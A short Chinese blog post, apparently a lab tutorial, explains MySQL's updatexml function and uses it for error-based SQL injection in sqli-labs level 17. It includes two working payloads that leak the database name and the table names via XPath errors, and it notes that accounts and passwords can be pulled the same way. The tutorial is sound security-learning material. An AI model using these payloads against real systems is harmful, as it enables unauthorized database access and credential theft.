updatexml函数
先介绍一下updatexml函数UPDATEXML (XML_document, XPath_string, new_value);第一个参数:XML_document是String格式,为XML文档对象的名称第二个参数:XPath_string (Xpath格式的字符串)第三个参数:new_value,String格式,替换查找到的符合条件的数据以sql-labs第十七关为例由于本关userna
·
先介绍一下updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
以sql-labs第十七关为例
由于本关username过滤比较严格,所以password就成了注入点
根据报错来获取所需要的信息,我感觉和双注差不多
1' and updatexml(1,concat('~',database(),'~'),1) --
由于concat()得到的字符串不符合XPath_string,所以会出现XPATH syntax error这个错误
继而,可以得到表格的名字
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) --
同理,可查询账号密码,就不一一赘述
更多推荐
已为社区贡献2条内容
所有评论(0)